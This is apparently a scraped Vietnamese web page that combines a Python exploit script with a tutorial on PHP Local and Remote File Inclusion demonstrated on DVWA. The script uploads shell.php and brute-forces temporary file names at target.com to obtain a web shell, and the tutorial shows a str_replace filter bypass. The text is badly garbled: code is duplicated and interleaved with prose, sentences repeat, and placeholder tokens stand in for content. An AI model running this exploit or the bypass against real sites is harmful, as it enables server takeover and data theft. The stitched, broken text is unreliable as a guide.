Hướng dẫn phpinfo hackerone - phpinfo hackerone

import itertools itertools

import requests requests

import sys sys

print('[+] Trying to win the race')('[+] Trying to win the race')

f ={'file':open('shell.php','rb')}={'file': open('shell.php','rb')}

for _ inrange(4096*4096): _ inrange(4096*4096):

requests.post('http://target.com/index.php?c=index.php', f).post('http://target.com/index.php?c=index.php', f)

print('[+] Trying to win the race')('[+] Bruteforcing the inclusion')

f ={'file':open('shell.php','rb')} fname in itertools.combinations(string.ascii_letters + string.digits,6):

for _ inrange(4096*4096):='http://target.com/index.php?c=/tmp/php'+ fname

requests.post('http://target.com/index.php?c=index.php', f)= requests.get(url)

print('[+] Bruteforcing the inclusion')'load average'in r.text:#

for fname in itertools.combinations(string.ascii_letters + string.digits,6):('[+] We have got a shell: '+ url)

url ='http://target.com/index.php?c=/tmp/php'+ fname.exit(0)

print('[+] Trying to win the race')('[x] Something went wrong, please try again')

f ={'file':open('shell.php','rb')}

for _ inrange(4096*4096):

requests.post('http://target.com/index.php?c=index.php', f)

print('[+] Bruteforcing the inclusion') cho phép kẻ tấn công có thể xem các tệp trên máy chủ từ xa mà không cần nhìn thấy hoặc có thể thực thi các mã vào 1 mục tiêu bất kì trên trang web .

for fname in itertools.combinations(string.ascii_letters + string.digits,6):

url ='http://target.com/index.php?c=/tmp/php'+ fname


r = requests.get(url)

if'load average'in r.text:#

print('[+] We have got a shell: '+ url)

  • sys.exit(0)
  • print('[x] Something went wrong, please try again')
  • I. Mở đầu
  • Tiếp theo trong series về khai thác lỗ hổng trong tấn công ứng dụng web , bài viết này mình sẽ hướng dẫn các bạn về 1 cách tấn công phổ biến hơn , đó là File Inclusion trong lập trình PHP

II. Khái niệmLocal File InclusionRemote File Inclusion

FIle Inclusion cho phép kẻ tấn công có thể xem các tệp trên máy chủ từ xa mà không cần nhìn thấy hoặc có thể thực thi các mã vào 1 mục tiêu bất kì trên trang web .

Điều này xảy ra là do trong code php web , lập trình viên đã sử dụng các lệnh include, require, include_once, require _ once , các lệnh này cho phép việc file hiện tại có thể gọi ra 1 file khác.

Dấu hiệu để nhận biết rằng trang web có thể tấn công file inclusion là đường link thường có dạng php?page=,hoặc php?file= .... Để biết trang web có bị lỗi này hay không ta chỉ cần thêm 1 dấu ' vào đường link , ví dụ như là php?page=' . Và trên trình duyệt sẽ có thông báo dạng (LFI) là kĩ thuật đọc file trong hệ thống , lỗi này xảy ra thường sẽ khiến website bị lộ các thông tin nhảy cảm như là passwd, php.ini, access_log,config.php…

Warning: Warning: include() [function.include]: Failed opening ''' for inclusion (include_path='.;C:\php5\pear') in C:\wamp\www\FI.php on line 40


Nguyên nhân gây ra lỗi này là khi sử dụng các lệnh trên, lập trình viên lại gọi các file cần mở thông qua biến. Các biến này hoặc chưa được khởi tạo, hoặc do người dùng quyết định.

File Inclusion có thể dẫn đến các cuộc tấn công sau :

Hướng dẫn phpinfo hackerone - phpinfo hackerone

Code execution on the web server

Cross Site Scripting Attacks (XSS)

Denial of service (DOS)payload có sẵn trên github để miêu tả cuộc tấn công và đó là /etc/passwd

Data Manipulation Attacks/etc/passwd , chúng ta cần nhập đủ các thư mục trước đó để đưa chúng ta trở lại thư mục gốc . Trong trường hợp này chúng ta sử dụng Path Traversal để truy cập tệp /etc/passwd.

Trong bài viết này , mình sẽ nói về 2 kiểu của FI , đó là Local File Inclusion và Remote File Inclusion

III. Các kiểu tấn công

1. Local File Inclusion

Local file inclustion (LFI) là kĩ thuật đọc file trong hệ thống , lỗi này xảy ra thường sẽ khiến website bị lộ các thông tin nhảy cảm như là passwd, php.ini, access_log,config.php…

Trong bài viết này , mình sẽ đưa ra các ví dụ được làm trên Damn Vulnerable Web App hay còn được gọi là DVWA

include4

Trong một cuộc tấn công LFI cơ bản , chúng ta sẽ sử dụng local file inclusion để thu thập thông tin trên máy chủ từ xa và khai thác nó để có thể chiếm được quyền root shell .

Sau khi set độ khó là low trên DVWA , chúng ta sẽ có giao diện như thế này :

include0

  • Mức độ trung bình
  • Mức độ khó

2. Remote File Inclusion

Remote File Inclusion còn được viết tắt là RFI cho phép kẻ tấn công nhúng một mã độc hại được tuỳ chỉnh trên trang web hoặc máy chủ bằng cách sử dụng các tập lệnh . RFI còn cho phép tải lên một tệp nằm trên máy chủ khác được chuyển đến dưới dạng hàm PHP ( include, include_once, require, or include8) còn được viết tắt là RFI cho phép kẻ tấn công nhúng một mã độc hại được tuỳ chỉnh trên trang web hoặc máy chủ bằng cách sử dụng các tập lệnh . RFI còn cho phép tải lên một tệp nằm trên máy chủ khác được chuyển đến dưới dạng hàm PHP ( include, include_once, require, or include8)

Đây là một lỗ hổng rất phổ biến do việc sử dụng hàm include rất nhiều và cũng là thiết đặt mặc định của server như là set include9 Lỗ hổng này sẽ khiến kẻ tấn công có thể thực thi các lệnh từ xa trên máy chủ web , xoá các phần của web và lấy dữ liệu thông tin của trang web.include rất nhiều và cũng là thiết đặt mặc định của server như là set include9 Lỗ hổng này sẽ khiến kẻ tấn công có thể thực thi các lệnh từ xa trên máy chủ web , xoá các phần của web và lấy dữ liệu thông tin của trang web.

Để thực hiện cuộc tấn công này , chúng ta sẽ thử nhúng các url vào trang web có sẵn : require0

Ở đây mình sẽ thử nhúng trang google vào và thu được kết quả :

Vậy là trang web mà mình muốn tấn công cho phép tải lên trang web khác.

Điều này dẫn đến việc mình có thể nhúng các lệnh php mà mình muốn lên trang web và thực thi các lệnh đó

Để làm vậy mình tạo 1 file tên là script.html có nội dung như sau :script.html có nội dung như sau :








Hack by Viblo








Sau đó mình nhúng link file này vào trong trang web mình muốn tấn công và thu được kết quả :

Tuy nhiên, thường thì chúng ta sẽ không thể dễ dàng như vậy để khai thác lỗ hổng này trên 1 trang web.

Ở ví dụ tiếp theo này , hàm str_replace() sẽ xoá tất cả các giá trị được gán như là require1 ; require2 và các kí tự như include2 ; require4 và thay thế bằng giá trị require5 , và trả lại trang ban đầu cho người dùngstr_replace() sẽ xoá tất cả các giá trị được gán như là require1 ; require2 và các kí tự như include2 ; require4 và thay thế bằng giá trị require5 , và trả lại trang ban đầu cho người dùng

Điều này khiến chúng ta không thể nhập link như thế này được nữa :

require6

Vậy để bypass qua hàm str_replace() chúng ta làm thế nào ?

Bời vì hàm này sẽ xoá giá trị require1 và trả lại trang ban đầu , vì thế ta có thể làm như sau :

require8

Chúng ta sẽ chèn thêm 1 giá trị http:// vào giữa giá trị require1 , điều này sẽ khiến hàm str_replace() đọc và thay giá trị http:// ở giữa thành giá trị require5 và trả lại trang ban đầu không có giá trị http://http:// vào giữa giá trị require1 , điều này sẽ khiến hàm str_replace() đọc và thay giá trị http:// ở giữa thành giá trị require5 và trả lại trang ban đầu không có giá trị http://

Đây là những cách cơ bản để bạn có thể tiếp cận và khai thác môt trang web , bước tiếp theo tuỳ thuộc vào mục đích cá nhân của bạn và trang web bạn muốn khai thác lỗ hổng này.

IV. Phòng tránh :

  • Xác thực đầu vào chặt hơn
  • Không bao gồm các trình phân tách thư mục như "/"
  • Sử dụng danh sách trắng cho các file extension được cho phép
  • Set include_once1 và include_once2 thành off để giới hạn việc có thể gọi các tệp tin từ xa
  • Cập nhập phiên bản PHP mới nhất
  • Cấu hình PHP để không sử dụng register_globals

Tài liệu tham khảo :

  • https://wiki.owasp.org/index.php/Testing_for_Local_File_Inclusion
  • https://www.hackingarticles.in/beginner-guide-file-inclusion-attack-lfirfi/
  • https://securitydaily.net/5-meo-huu-ich-tao-ra-ung-dung-php-bao-mat/